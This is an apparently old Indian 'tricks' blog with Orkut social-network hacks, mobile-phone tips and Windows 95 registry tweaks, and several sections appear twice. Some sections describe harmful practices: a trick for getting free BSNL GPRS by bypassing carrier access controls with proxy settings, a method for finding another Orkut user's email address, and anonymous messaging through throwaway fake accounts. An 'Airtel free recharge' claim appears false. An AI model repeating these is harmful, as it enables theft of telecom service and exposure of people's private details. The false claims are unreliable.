Send Invisible Scrap
So, Friend's welcome to the very first orkut trick.
Step1: Open scrapbook
Step2: Write [i] and submit it, an invisible scrap will b send
Note: Don't Write Anything Else [i]
You can try these various combinations also if u want to send a big no of invisible scraps, as after your few submissions it will start displaying the message "message sent too recently". So try these combinations out:
[u]
[b]
[i][u]
[i][b]
[u][i]
[u][b]
[u][i][b]
[i][u][b]
[i][u][b][i]
.
.
.
And just keep on increasing it will continue no limits...
One more method
Enter ் no space b/w the symbol and number, blank scrap will be send.
Scrap Without name
For sending scraps without name follow the steps:
1) Open edit profile
2) Delete First and Second Name
3) Then on the first name text box type ALT + 0173 (i.e. Type 0173 while pressing the ALT key of your keyboard.)
4) Do the same in the Second Name Box.
5) Click Update.
Now you are done you can send scraps without your name
Who Has Added U in There Crush List
To know who has added U in there Crush List, Follow the steps:
1) Add your friends in your crush list.
2) A message will arrive you from orkut in any of those have added you in their lists within five minutes.
3) After the use remove friends from crush list, so that if they try, they don't catch you.
Send anonymous scrap
For sending a anonymous scrap, follow the steps:
1. Create a fake account.
2. Write the scraps to the person you want.
3. Delete the account.
4. Your scraps from the deleted account becomes anonymous.
View Friends Scrap more Than the Limit
Step1: Open Friends scrapbook
Step2: Look in your address bar (i.e the place where u type www.mastitrain.com). You will see this address written
http://www.orkut.com/Scrapbook.aspx?uid=12345678987654321
Step3: Add this code"&na=&nst=&nid=&pageSize=30" at the end of the address. It will look like this
http://www.orkut.com/Scrapbook.aspx?uid=12345678987654321&na=&nst=&nid=&pageSize=30
30 over specifies that you can view 30 scraps of the scrapbook you are looking into.
If u like our work Do Refer Your Friends so that we can continue
Orkut Magic Tricks
Simply copy and paste the links.
Worst Profile On Orkut
http://www.netdisaster.com/go.php?mode=tomato&url=http://www.orkut.com
Best Profile
http://www.orkut.com/Profile.aspx???2pid=0031517960896443124
Best Album
http://www.orkut.com/AlbumView.aspx?2uid=003492118394569816
Best Scrapbook
http://www.orkut.com/Scrapbook.aspx?2uid=0068492192600342
Your name in Orkut style
Fun With orkut
Click here and have fun!!
Write in different Indian languages
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Go to Classifieds.co.in for Hindi font.
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Download Baraha for all Indian languages.
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Go to Quillpad for Hindi, Telugu, Tamil, Kannada, Malayalam and Marathi.
Writing text in reverse order
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Type the text in the scrapbook or any text box.
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Type & # 8 2 3 8 without spaces before the message in the text box.
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Example: " This is message reverted."
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Press SUBMIT.
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The above message appears as > TRY THIS COOL TRICK
Writing in different Stylish n cool fonts
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Crazy Nick
Custom Nickname
Stealth - Visit someone's profile in invisible mode
I was just view through one of the topics in a community when i found out that people didn't know how to visit some some body's profile without them knowing i was shocked.So idi decided to put it up for all of you
* Just visit Settings section
* Now check (tick/mark) on "disable profile visitors "
* save the settings
Now you can visit the profile without him knowing.As simple as that.
There is one small problem to this no only he will not come to know that you have visited his profile you will also not come to know who visited yours. So as soon as your work is over just uncheck it
Knowing Email ID of any profile on Orkut
* Ignore the person of whom you want to know the Email id.
* Open your Gtalk of the same account as Orkut.
* Go to Settings -> Blocked
* You can see the ignored person's email id.
Wednesday, January 16, 2008
Free GPRS trick 4 u...n sum free sofwares downloadin sites
its all about free internet ! do u no u can do tat
Free Bsnl Gprs To Access Internet
Free Bsnl Gprs With Full Internet Access, U Can Surf For Free Via Gprs On Pc Too
I came to know of using BSNL GPRS for FREE with FULL ACCESS to All Sites.
Here is the way.
1.Create 2 connections with different names like "BSNL PORTAL" and "CELLONE PORTAL" with following settings.
Access Point Name-
"celloneportal"
Proxy Service Address-
"192.168.51.163"
Proxy Port-
"8080"
Security-
"NORMAL"
rest fields to be as it is.
2.now open phone's default inbuilt browser and select any of the two settings created to access the web.you will now access only bsnl's home site.
3.now keep browser working and open another browser for full internet access like opera or netfront.in these browsers use the second setting created.make sure to use second setting this time.connect to open a page.you get an error message like "ACCESS DENIED" but you dont worry.
4.keep both browsers working in background and open connection manager.in connection manager just disconnect the connection that is not working like the second one you used to connect opera or netfront.
5.again open opera or netfront from background and this time use the first connection that you are using to connect with default inbuilt browser to connect to internet.
few free websites for ur moblie phone
http://www.dotsis.com/ (i think this is the best)
http://phone.mobile9.com/ (this is also very good)
http://www.zedge.net/ (best website for themes)
http://www.ownskin.com/ (another good site for themes)
http://www.mobilerated.com/ (for games)
http://www.mobango.com/
http://www.onsmartphone.com/
http://www.ansarishare.com/
http://www.funformobile.com/
http://www.funmaza.com/
http://www.noeman.org/gsm/index.php...
http://www.mobilesmania.com
http://www.series60v3.com/
http://www.waptrick.com/
http://www.gamemobile.co.uk/
http://www.cellufun.com/
http://www.warez-bb.org/index.php...
http://www.ansarishare.com/
http://www.allaboutsymbian.com/...
http://z11.invisionfree.com/softwareworl...
http://www.mobilemastee.com/
http://www.thefreesite.com/mobile_phone_...
http://www.yamgo.com/free_mobile_downloa...
http://www.mobileheart.com/
http://www.nokiasoftware.nl/
http://www.getjar.com/ (you'll find a few freeware stuff on this site also. but mostly you'll get demos)
Some info in case u have a NOKIA Mobile...
1 Imagine ur cell battery is very low, u r expecting an
important call and u don't have a charger.
Nokia instrument comes with a reserve battery. To
activate,
key is "*3370#"
Ur cell will restart with this reserve and ur instrument
will show a 50% incerase in battery.
This reserve will get charged when u charge ur cell
next
time.
*3370# Activate Enhanced Full Rate Codec (EFR)-Your phone
uses the best sound quality but talk time is reduced by approx.
5%
#3370# Deactivate Enhanced Full Rate Codec( EFR)
*#4720# Activate Half Rate Codec - Your phone uses a
lower
quality sound
but you should gain approx 30% more Talk Time
*#4720# Deactivate Half Rate Codec
2 *#0000# Displays your phones software version,
1st Line : Software Version,
2nd Line : Software Release Date,
3rd Line : Compression Type
3 *#9999# Phones software v ersion if *#0000# does not work
4 *#06# For checking the International Mobile Equipment
Identity
(IMEI Number)
5 #pw+1234567890+1# Provider Lock Status. (use the "*"
button
to obtain the "p,w" and "+" symbols)
6 #pw+1234567890+2# Network Lock Status. (use the "*" button
to
obtain the "p,w" and "+" symbols)
7 #pw+1234567890+3# Country Lock Status. (use the "*" button
to
obtain the "p,w" and "+" symbols)
8 #pw+1234567890+4# SIM Card Lock Status.(use the "*" button
to
obtain the "p,w" and "+" symbols)
9 *#147# (vodafone) this lets you know who called you last
*#1471# Last call (Only vodofone)
10 *#21# Allows you to check the number that "All Calls" are
diverted To
11 *#2640# Displays security code in use
12 *#30# Lets you see the private number
13 *#43# Allows you to check the "Call Waiting" status of your
phone.
14 *#61# Allows you to check the number that "On No Reply"
calls
are diverted to
15 *#62# Allows you to check the number that "Divert If Unrea
chable(no service)" calls are diverted to
16 *#67# Allows you to check the number that "On Busy Calls"
are
diverted to
17 *#67705646#R emoves operator logo on 3310 & 3330
18 *#73# Reset phone timers and game scores
19 *#746025625# Displays the SIM Clock status, if your phone
supports this power saving feature "SIM Clock Stop Allowed", it
means you will get the best standby
time
possible
20 *#7760# Manufactures code
21 *#7780# Restorefa ctory settings
22 *#8110# Software version for the nokia 8110
23 *#92702689# (to rember *#WAR0ANTY#)
Displays -
1.Serial Number,
2.Date Made
3.Purchase Date,
4.Date of last repair (0000 for no
repairs),
5.Transfer User Data.
To exit this mode -you need to
switch
your phone off then on again
24 *#94870345123456789# Deactivate the PWM-Mem
25 **21*number# Turn on "All Calls" diverting to the phone
number
entered
26 **61*number# Turn on "No Reply" diverting to the phone
number
entered
27 **67*number# Turn on "On Busy" diverting to the phone number
entered
28 12345 This is the default security code press and hold #
Free Bsnl Gprs To Access Internet
Free Bsnl Gprs With Full Internet Access, U Can Surf For Free Via Gprs On Pc Too
I came to know of using BSNL GPRS for FREE with FULL ACCESS to All Sites.
Here is the way.
1.Create 2 connections with different names like "BSNL PORTAL" and "CELLONE PORTAL" with following settings.
Access Point Name-
"celloneportal"
Proxy Service Address-
"192.168.51.163"
Proxy Port-
"8080"
Security-
"NORMAL"
rest fields to be as it is.
2.now open phone's default inbuilt browser and select any of the two settings created to access the web.you will now access only bsnl's home site.
3.now keep browser working and open another browser for full internet access like opera or netfront.in these browsers use the second setting created.make sure to use second setting this time.connect to open a page.you get an error message like "ACCESS DENIED" but you dont worry.
4.keep both browsers working in background and open connection manager.in connection manager just disconnect the connection that is not working like the second one you used to connect opera or netfront.
5.again open opera or netfront from background and this time use the first connection that you are using to connect with default inbuilt browser to connect to internet.
few free websites for ur moblie phone
http://www.dotsis.com/ (i think this is the best)
http://phone.mobile9.com/ (this is also very good)
http://www.zedge.net/ (best website for themes)
http://www.ownskin.com/ (another good site for themes)
http://www.mobilerated.com/ (for games)
http://www.mobango.com/
http://www.onsmartphone.com/
http://www.ansarishare.com/
http://www.funformobile.com/
http://www.funmaza.com/
http://www.noeman.org/gsm/index.php...
http://www.mobilesmania.com
http://www.series60v3.com/
http://www.waptrick.com/
http://www.gamemobile.co.uk/
http://www.cellufun.com/
http://www.warez-bb.org/index.php...
http://www.ansarishare.com/
http://www.allaboutsymbian.com/...
http://z11.invisionfree.com/softwareworl...
http://www.mobilemastee.com/
http://www.thefreesite.com/mobile_phone_...
http://www.yamgo.com/free_mobile_downloa...
http://www.mobileheart.com/
http://www.nokiasoftware.nl/
http://www.getjar.com/ (you'll find a few freeware stuff on this site also. but mostly you'll get demos)
Some info in case u have a NOKIA Mobile...
1 Imagine ur cell battery is very low, u r expecting an
important call and u don't have a charger.
Nokia instrument comes with a reserve battery. To
activate,
key is "*3370#"
Ur cell will restart with this reserve and ur instrument
will show a 50% incerase in battery.
This reserve will get charged when u charge ur cell
next
time.
*3370# Activate Enhanced Full Rate Codec (EFR)-Your phone
uses the best sound quality but talk time is reduced by approx.
5%
#3370# Deactivate Enhanced Full Rate Codec( EFR)
*#4720# Activate Half Rate Codec - Your phone uses a
lower
quality sound
but you should gain approx 30% more Talk Time
*#4720# Deactivate Half Rate Codec
2 *#0000# Displays your phones software version,
1st Line : Software Version,
2nd Line : Software Release Date,
3rd Line : Compression Type
3 *#9999# Phones software v ersion if *#0000# does not work
4 *#06# For checking the International Mobile Equipment
Identity
(IMEI Number)
5 #pw+1234567890+1# Provider Lock Status. (use the "*"
button
to obtain the "p,w" and "+" symbols)
6 #pw+1234567890+2# Network Lock Status. (use the "*" button
to
obtain the "p,w" and "+" symbols)
7 #pw+1234567890+3# Country Lock Status. (use the "*" button
to
obtain the "p,w" and "+" symbols)
8 #pw+1234567890+4# SIM Card Lock Status.(use the "*" button
to
obtain the "p,w" and "+" symbols)
9 *#147# (vodafone) this lets you know who called you last
*#1471# Last call (Only vodofone)
10 *#21# Allows you to check the number that "All Calls" are
diverted To
11 *#2640# Displays security code in use
12 *#30# Lets you see the private number
13 *#43# Allows you to check the "Call Waiting" status of your
phone.
14 *#61# Allows you to check the number that "On No Reply"
calls
are diverted to
15 *#62# Allows you to check the number that "Divert If Unrea
chable(no service)" calls are diverted to
16 *#67# Allows you to check the number that "On Busy Calls"
are
diverted to
17 *#67705646#R emoves operator logo on 3310 & 3330
18 *#73# Reset phone timers and game scores
19 *#746025625# Displays the SIM Clock status, if your phone
supports this power saving feature "SIM Clock Stop Allowed", it
means you will get the best standby
time
possible
20 *#7760# Manufactures code
21 *#7780# Restorefa ctory settings
22 *#8110# Software version for the nokia 8110
23 *#92702689# (to rember *#WAR0ANTY#)
Displays -
1.Serial Number,
2.Date Made
3.Purchase Date,
4.Date of last repair (0000 for no
repairs),
5.Transfer User Data.
To exit this mode -you need to
switch
your phone off then on again
24 *#94870345123456789# Deactivate the PWM-Mem
25 **21*number# Turn on "All Calls" diverting to the phone
number
entered
26 **61*number# Turn on "No Reply" diverting to the phone
number
entered
27 **67*number# Turn on "On Busy" diverting to the phone number
entered
28 12345 This is the default security code press and hold #
Tuesday, January 15, 2008
U GUYZ WANNA NO BOUT AIRTELS FREE RECHARGE HUN ?
ITS VERY SIMPLE...
UR FAMILY OR FRIENDS MUST BE HAVING AIRTEL PREPAID SIM OBVIOUSLY ATLEAST 1 OF THEm....U CAN USE THOSE GUYS OR UR FAMILY MEMBERS 4 UR PROFIT.
WHAT U NEED 2 DO IS WHEN THEY RECHARGE....ASK THEM 2 SHOW THE NO.MEANS RECHARGE CODE LET HIM/HER TYPE D CODE IN THE SAME TIME U DO THE SAME...
FOR EG...ITS
*101*976454325544455#
BOTH TYPE SAME IN UR CELL PHONES...N PRESS THE CALL BUTTON AT ONE N THE SAME TIME U BOTH WILL GET REGISTERED N BOTH THE GUYZ....WILL GET RECHARGED...AT THE SAME TIME
REMEMBER PRESS THE CALL BUTTON @THE SAME TIME
ITS VERY SIMPLE...
UR FAMILY OR FRIENDS MUST BE HAVING AIRTEL PREPAID SIM OBVIOUSLY ATLEAST 1 OF THEm....U CAN USE THOSE GUYS OR UR FAMILY MEMBERS 4 UR PROFIT.
WHAT U NEED 2 DO IS WHEN THEY RECHARGE....ASK THEM 2 SHOW THE NO.MEANS RECHARGE CODE LET HIM/HER TYPE D CODE IN THE SAME TIME U DO THE SAME...
FOR EG...ITS
*101*976454325544455#
BOTH TYPE SAME IN UR CELL PHONES...N PRESS THE CALL BUTTON AT ONE N THE SAME TIME U BOTH WILL GET REGISTERED N BOTH THE GUYZ....WILL GET RECHARGED...AT THE SAME TIME
REMEMBER PRESS THE CALL BUTTON @THE SAME TIME
DAMN TRICKZ
computer tricks
Windows Logon Box; Wanna Rename It
Run regedit and go to HKEY_Local_Machine\Software\Microsoft \Windows\CurrentVersion\Winlogon
Then add or change the key:
LegalNoticeCaption REG_SZ="(Title for Box)"
And the same for this key:
LegalNoticeText REG_SZ="(Message to be displayed in the box)"
Wanna Move Your Start Button.
How to move or close the start button!
1. Click on the Start button.
2. Press the Esc key.
3. Press the Alt and the - or dash keys at the same time.
4. This will give you a menu, you can move or close.
5. But if you move it you need to use the arrow keys and not the mouse.
6. When you get it where you want it, push the Enter button.
KEEP THINGS RIGHT
Aligning Drop-Down Menus to the Right
All dropdown menus can be aligned to the right.
This features becomes useful when trying to access menus with submenus that appear directly to the right.
1. Open the Registory editor (e.g. regedit.exe)
2. Goto \\HKEY_CURRENT_USER\Control Panel\Desktop
3. Create a string entry called "MenuDropAlignment"
4. Set its value to 1
5. Reboot
Adding AnyFolder and Mail to SendTo
Previous examples of adding items to the SendTo usually require editing the Registry. An easy way around this is to use the following methods.
To add ANYFOLDER:
1. Open the Explorer.
2. Go to \Windows\SendTo.
3. Right click in the right hand panel.
4. Select New / Text Document.
5. Name it anything with a .otherfolder extension.
When you want to send files to another folder:
1. Select the files with Explorer.
2. Right Click
3. Select Send to and the name you just created
4. You them have the option of copying or moving the file to a folder of your choice
To add Mail:
1. Open the Explorer
2. Go to \Windows\SendTo.
3. Right click in the right hand panel.
4. Select New / Text Document.
5. Name it anything with a .MapiMail extension (ignore any warnings about the file extension)
When you want to Mail files as attachments:
1. Select the files with Explorer.
2. Right Click.
3. Select Send to and the Mail name you just created.
4. This allows you to easily mail multiple files.
Ya Say ya Don't like Desktop Icons
How to Remove the InBox and Recycle Bin Icons from the Desktop
To remove the InBox from your desktop, without needing to run the Policy Editor:
1. Start Regedit
2. Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ explorer \ Desktop \ NameSpace
3. Below that should be a few keys
4. Rename the key {00020D75-0000-0000-C000-000000000046}. I usually put another character before or after the curly braces.
5. Restart Windows and the InBox icon should be gone
6. You can do the same for any other items you don't to show such as the Recycle Bin or The Internet icons
Add The Device Manager To Your Desktop
This Is Really Cool
This allows you to quickly see all the devices attached to your computer.
This way you do not need to restart the computer. To add the Device Manager Icon:
1. Right click on an open area of your desktop.
2. Select New / Shortcut.
3. Type in C:\WINDOWS\CONTROL SYSDM.CPL, SYSTEM, 1.
4. Replace C:\WINDOWS with whatever directory you installed Windows95.
5. Click on the Next box.
6. At the next dialog box type in Device Manager.
7. Click on the Finish when you are done.
Note: Replacing the 1 with a 3 will bring up the Performance Status.
Get To Your Desktop Fast And Easy
How To get to your Desktop when you have a lot of apps open!
1. Open a browser window (double-click on "My Computer")
2. If there is no toolbar, select View from the menu and select Toolbar.
3. Then from the dropdown list-box in the toolbar select desktop.
4. Now minimize it and forget about it.
5. To access your desktop just click the desktop window on the taskbar.
6. As long as you don't close the window when you shutdown, it will reopen when you start windows again.
Better yet: You can drag the Desktop folder to the start menu.
Then you just press Ctrl-ESC and click on Desktop, or type D. Bingo!
Ya Say Ya Don't Like Window Animation
You can shut off the animation displayed when you minimize and maximize windows. This makes navigating Windows 95 a little faster. Besides it make me rock in my seat.
1. Open Regedit
2. HKEY_CURRENT_USER
3. Control panel
4. Desktop
5. WindowMetrics
6. Right Mouse Click an empty space in the right pane.
7. Select new/string value.
8. Name the new value MinAnimate.
9. Doubleclick on the new string value (MinAnimate) and click on "Modify"
10. Enter a value of 0 for Off or 1 for On then hit
11. Close Regedit and all programs then reboot.
DOS TIPS AND TRICKS
See Free Memory, File Sizes and More Useful Details
1. Open a DOS box
2. Go to the directory that you want to get specific info about, or if you just want to see memory info go to any directory (I use the root).
3. Type DIR /V
4. The /v argument stands for "verbose".
5. All sorts of good information comes up.
OR, Copy this cute little Batch File in notepad and "Save As" DV.BAT
@ECHO OFF
DIR /V/P
Configuring the Start and Programs Menus
The items that appear on the Start and Programs menus are arranged alphabetically. To specify a different order, rename menu items to include a number as their first character. Renaming menu items in this way also enables users to start an application by pressing the number at the beginning of the application’s name.
To specify the order in which items on the Start or Programs menu appear
1. Right-click the Start button, and then click Open.
2. To specify the order of items at the top of the Start menu, skip to step 3.
To specify the order of items on the Programs menu, double-click the Applications folder.
To specify the order of items on a submenu of the Programs menu, double-click the Applications folder, and then double-click the folder that corresponds to the submenu.
3. Right-click the item that you want to appear first on the menu, and then click Rename.
4. Press HOME, type the number 1 followed by a space, and then press ENTER.
5. Repeat steps 3 and 4 using consecutive numbers until all the menu items that you want to arrange in a different order have been numbered.
For information about the following topics, see online Help:
Adding an application to the Start or Programs menu
Adding new submenus (or folders) to the Programs menu
Rearranging items on the Programs menu
Note Windows 95 adds your most recently used documents to the Documents menu or the Start menu. When you open a file in a Win32-based application, Windows 95 adds the data file to the Documents menu. Windows 95 does not add files to this list that were opened in a Win16-based application. However, if you double-click a document in Windows Explorer or My Computer, Windows 95 does add it to the list.
Quick Start Menu Access
By default, Windows 95 orders all the items in the top portion of your Start menu (above Programs) alphabetically: pop-out folders first, then shortcuts. But this order isn't written in stone. You can specify any order you want by renaming these items with a number at the beginning of each.
Right-mouse-click the Start button and select Open. Inside, select the item you want to appear at the top of the Start menu, press F2 for Rename, then place the cursor at the beginning of the name and type the number 1. Press Enter to keep the change. Place a 2 in front of the item you want to appear next in the list, and so on.
Close the Start Menu window, click Start, and admire your reorganization.
Tip: Now you can open any custom Start menu item by pressing Ctrl-Esc and then typing the number at the beginning of that item's name. Previously, if multiple Start menu items started with the same letter, there was no way to select them using the keyboard.)
View Multi- Drive Properties at Once
Here's an easy way to view the properties for multiple hard drives simultaneously. Open My Computer and select all your hard drives by holding down Ctrl and clicking on each drive in turn. Next, right-click on any of the drives and choose Properties. Windows creates a single dialog box with Properties tabs for each drive. This also works for floppy disk, removable and mapped network drives.
The Logo.sys Mystery!!
Why do some Windows 95 computers have a LOGO.SYS file in the root directory and others do not? Background: The LOGO.SYS file is a bitmap that displays the boot-up screen when you launch Win95. If you can’t find LOGO.SYS on your system, then you probably don’t have one. Without the file, Windows loads the opening logo screen from the IO.SYS file. If you want to change the file, simple create a bitmap image (it can’t be larger than 256 Color and 320 x 400---Windows stretches it to 640x480 for display, which is why the startup screen looks so bad) and drop it in the root directory.
Create Shortcuts to any Control Panel Item
You can make a shortcut to any item in your Control Panel. In fact you can make a shortcut for all of them and put them all in a Desktop folder.
Here's an example for creating a shortcut to the Device Manager:
1. Right-click on the Desktop and choose New/Shortcut
2. Type C:\WINDOWS\CONTROL.EXE SYSDM.CPL in the Command Line box and click on Next.
3. Name it Device Manager (or another name of your choice), then click on the Finish button. Assign a new icon to the shortcut as you would any other.
Use Notepad As a Word Processor
Here's a little ditty that may help those who don't want a formal word processor, but do what to save their page setup settings.
Here's the problem: Someone wanted to print a document from Notepad without the Page Header and Footer. Their document was running over into two pages and they wanted to keep it to one. Since they will be running this document regularly, going into Page Setup every time they wanted to print would be time-consuming. The Knowledge Base article Q64269 advises that you can't change the Default Page Setup. Here is the workaround I found.
Error
If you choose Page Setup from the File menu in Notepad, the settings are not saved when the file is saved. Example: you want to remove the header and footer from all notepad documents you print. When you go into page setup and remove the default header and footer, then exit notepad and re-start notepad, the header and footer re-appear.
Reason
ACCORDING TO MICROSOFT:
All accessory applications use a flat-file format and the formatting information is not saved with the file; therefore, it is not shown with its last settings when the file is opened.
Here is a work around.
Shut down all instances of notepad.exe (this will not work if notepad is not shut down).
Run Registry Editor (at your own risk), and find
HKEY_CURRENT_USER\Software\Microsoft\Notepad\ . Change the key/value "fSavePageSettings" from 0 to 1.
Run Notepad and make your changes in the Page Setup screen. Exit Notepad.
Windows Logon Box; Wanna Rename It
Run regedit and go to HKEY_Local_Machine\Software\Microsoft \Windows\CurrentVersion\Winlogon
Then add or change the key:
LegalNoticeCaption REG_SZ="(Title for Box)"
And the same for this key:
LegalNoticeText REG_SZ="(Message to be displayed in the box)"
Wanna Move Your Start Button.
How to move or close the start button!
1. Click on the Start button.
2. Press the Esc key.
3. Press the Alt and the - or dash keys at the same time.
4. This will give you a menu, you can move or close.
5. But if you move it you need to use the arrow keys and not the mouse.
6. When you get it where you want it, push the Enter button.
KEEP THINGS RIGHT
Aligning Drop-Down Menus to the Right
All dropdown menus can be aligned to the right.
This features becomes useful when trying to access menus with submenus that appear directly to the right.
1. Open the Registory editor (e.g. regedit.exe)
2. Goto \\HKEY_CURRENT_USER\Control Panel\Desktop
3. Create a string entry called "MenuDropAlignment"
4. Set its value to 1
5. Reboot
Adding AnyFolder and Mail to SendTo
Previous examples of adding items to the SendTo usually require editing the Registry. An easy way around this is to use the following methods.
To add ANYFOLDER:
1. Open the Explorer.
2. Go to \Windows\SendTo.
3. Right click in the right hand panel.
4. Select New / Text Document.
5. Name it anything with a .otherfolder extension.
When you want to send files to another folder:
1. Select the files with Explorer.
2. Right Click
3. Select Send to and the name you just created
4. You them have the option of copying or moving the file to a folder of your choice
To add Mail:
1. Open the Explorer
2. Go to \Windows\SendTo.
3. Right click in the right hand panel.
4. Select New / Text Document.
5. Name it anything with a .MapiMail extension (ignore any warnings about the file extension)
When you want to Mail files as attachments:
1. Select the files with Explorer.
2. Right Click.
3. Select Send to and the Mail name you just created.
4. This allows you to easily mail multiple files.
Ya Say ya Don't like Desktop Icons
How to Remove the InBox and Recycle Bin Icons from the Desktop
To remove the InBox from your desktop, without needing to run the Policy Editor:
1. Start Regedit
2. Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ explorer \ Desktop \ NameSpace
3. Below that should be a few keys
4. Rename the key {00020D75-0000-0000-C000-000000000046}. I usually put another character before or after the curly braces.
5. Restart Windows and the InBox icon should be gone
6. You can do the same for any other items you don't to show such as the Recycle Bin or The Internet icons
Add The Device Manager To Your Desktop
This Is Really Cool
This allows you to quickly see all the devices attached to your computer.
This way you do not need to restart the computer. To add the Device Manager Icon:
1. Right click on an open area of your desktop.
2. Select New / Shortcut.
3. Type in C:\WINDOWS\CONTROL SYSDM.CPL, SYSTEM, 1.
4. Replace C:\WINDOWS with whatever directory you installed Windows95.
5. Click on the Next box.
6. At the next dialog box type in Device Manager.
7. Click on the Finish when you are done.
Note: Replacing the 1 with a 3 will bring up the Performance Status.
Get To Your Desktop Fast And Easy
How To get to your Desktop when you have a lot of apps open!
1. Open a browser window (double-click on "My Computer")
2. If there is no toolbar, select View from the menu and select Toolbar.
3. Then from the dropdown list-box in the toolbar select desktop.
4. Now minimize it and forget about it.
5. To access your desktop just click the desktop window on the taskbar.
6. As long as you don't close the window when you shutdown, it will reopen when you start windows again.
Better yet: You can drag the Desktop folder to the start menu.
Then you just press Ctrl-ESC and click on Desktop, or type D. Bingo!
Ya Say Ya Don't Like Window Animation
You can shut off the animation displayed when you minimize and maximize windows. This makes navigating Windows 95 a little faster. Besides it make me rock in my seat.
1. Open Regedit
2. HKEY_CURRENT_USER
3. Control panel
4. Desktop
5. WindowMetrics
6. Right Mouse Click an empty space in the right pane.
7. Select new/string value.
8. Name the new value MinAnimate.
9. Doubleclick on the new string value (MinAnimate) and click on "Modify"
10. Enter a value of 0 for Off or 1 for On then hit
11. Close Regedit and all programs then reboot.
DOS TIPS AND TRICKS
See Free Memory, File Sizes and More Useful Details
1. Open a DOS box
2. Go to the directory that you want to get specific info about, or if you just want to see memory info go to any directory (I use the root).
3. Type DIR /V
4. The /v argument stands for "verbose".
5. All sorts of good information comes up.
OR, Copy this cute little Batch File in notepad and "Save As" DV.BAT
@ECHO OFF
DIR /V/P
Configuring the Start and Programs Menus
The items that appear on the Start and Programs menus are arranged alphabetically. To specify a different order, rename menu items to include a number as their first character. Renaming menu items in this way also enables users to start an application by pressing the number at the beginning of the application’s name.
To specify the order in which items on the Start or Programs menu appear
1. Right-click the Start button, and then click Open.
2. To specify the order of items at the top of the Start menu, skip to step 3.
To specify the order of items on the Programs menu, double-click the Applications folder.
To specify the order of items on a submenu of the Programs menu, double-click the Applications folder, and then double-click the folder that corresponds to the submenu.
3. Right-click the item that you want to appear first on the menu, and then click Rename.
4. Press HOME, type the number 1 followed by a space, and then press ENTER.
5. Repeat steps 3 and 4 using consecutive numbers until all the menu items that you want to arrange in a different order have been numbered.
For information about the following topics, see online Help:
Adding an application to the Start or Programs menu
Adding new submenus (or folders) to the Programs menu
Rearranging items on the Programs menu
Note Windows 95 adds your most recently used documents to the Documents menu or the Start menu. When you open a file in a Win32-based application, Windows 95 adds the data file to the Documents menu. Windows 95 does not add files to this list that were opened in a Win16-based application. However, if you double-click a document in Windows Explorer or My Computer, Windows 95 does add it to the list.
Quick Start Menu Access
By default, Windows 95 orders all the items in the top portion of your Start menu (above Programs) alphabetically: pop-out folders first, then shortcuts. But this order isn't written in stone. You can specify any order you want by renaming these items with a number at the beginning of each.
Right-mouse-click the Start button and select Open. Inside, select the item you want to appear at the top of the Start menu, press F2 for Rename, then place the cursor at the beginning of the name and type the number 1. Press Enter to keep the change. Place a 2 in front of the item you want to appear next in the list, and so on.
Close the Start Menu window, click Start, and admire your reorganization.
Tip: Now you can open any custom Start menu item by pressing Ctrl-Esc and then typing the number at the beginning of that item's name. Previously, if multiple Start menu items started with the same letter, there was no way to select them using the keyboard.)
View Multi- Drive Properties at Once
Here's an easy way to view the properties for multiple hard drives simultaneously. Open My Computer and select all your hard drives by holding down Ctrl and clicking on each drive in turn. Next, right-click on any of the drives and choose Properties. Windows creates a single dialog box with Properties tabs for each drive. This also works for floppy disk, removable and mapped network drives.
The Logo.sys Mystery!!
Why do some Windows 95 computers have a LOGO.SYS file in the root directory and others do not? Background: The LOGO.SYS file is a bitmap that displays the boot-up screen when you launch Win95. If you can’t find LOGO.SYS on your system, then you probably don’t have one. Without the file, Windows loads the opening logo screen from the IO.SYS file. If you want to change the file, simple create a bitmap image (it can’t be larger than 256 Color and 320 x 400---Windows stretches it to 640x480 for display, which is why the startup screen looks so bad) and drop it in the root directory.
Create Shortcuts to any Control Panel Item
You can make a shortcut to any item in your Control Panel. In fact you can make a shortcut for all of them and put them all in a Desktop folder.
Here's an example for creating a shortcut to the Device Manager:
1. Right-click on the Desktop and choose New/Shortcut
2. Type C:\WINDOWS\CONTROL.EXE SYSDM.CPL in the Command Line box and click on Next.
3. Name it Device Manager (or another name of your choice), then click on the Finish button. Assign a new icon to the shortcut as you would any other.
Use Notepad As a Word Processor
Here's a little ditty that may help those who don't want a formal word processor, but do what to save their page setup settings.
Here's the problem: Someone wanted to print a document from Notepad without the Page Header and Footer. Their document was running over into two pages and they wanted to keep it to one. Since they will be running this document regularly, going into Page Setup every time they wanted to print would be time-consuming. The Knowledge Base article Q64269 advises that you can't change the Default Page Setup. Here is the workaround I found.
Error
If you choose Page Setup from the File menu in Notepad, the settings are not saved when the file is saved. Example: you want to remove the header and footer from all notepad documents you print. When you go into page setup and remove the default header and footer, then exit notepad and re-start notepad, the header and footer re-appear.
Reason
ACCORDING TO MICROSOFT:
All accessory applications use a flat-file format and the formatting information is not saved with the file; therefore, it is not shown with its last settings when the file is opened.
Here is a work around.
Shut down all instances of notepad.exe (this will not work if notepad is not shut down).
Run Registry Editor (at your own risk), and find
HKEY_CURRENT_USER\Software\Microsoft\Notepad\ . Change the key/value "fSavePageSettings" from 0 to 1.
Run Notepad and make your changes in the Page Setup screen. Exit Notepad.
computer tricks
Windows Logon Box; Wanna Rename It
Run regedit and go to HKEY_Local_Machine\Software\Microsoft \Windows\CurrentVersion\Winlogon
Then add or change the key:
LegalNoticeCaption REG_SZ="(Title for Box)"
And the same for this key:
LegalNoticeText REG_SZ="(Message to be displayed in the box)"
Wanna Move Your Start Button.
How to move or close the start button!
1. Click on the Start button.
2. Press the Esc key.
3. Press the Alt and the - or dash keys at the same time.
4. This will give you a menu, you can move or close.
5. But if you move it you need to use the arrow keys and not the mouse.
6. When you get it where you want it, push the Enter button.
KEEP THINGS RIGHT
Aligning Drop-Down Menus to the Right
All dropdown menus can be aligned to the right.
This features becomes useful when trying to access menus with submenus that appear directly to the right.
1. Open the Registory editor (e.g. regedit.exe)
2. Goto \\HKEY_CURRENT_USER\Control Panel\Desktop
3. Create a string entry called "MenuDropAlignment"
4. Set its value to 1
5. Reboot
Adding AnyFolder and Mail to SendTo
Previous examples of adding items to the SendTo usually require editing the Registry. An easy way around this is to use the following methods.
To add ANYFOLDER:
1. Open the Explorer.
2. Go to \Windows\SendTo.
3. Right click in the right hand panel.
4. Select New / Text Document.
5. Name it anything with a .otherfolder extension.
When you want to send files to another folder:
1. Select the files with Explorer.
2. Right Click
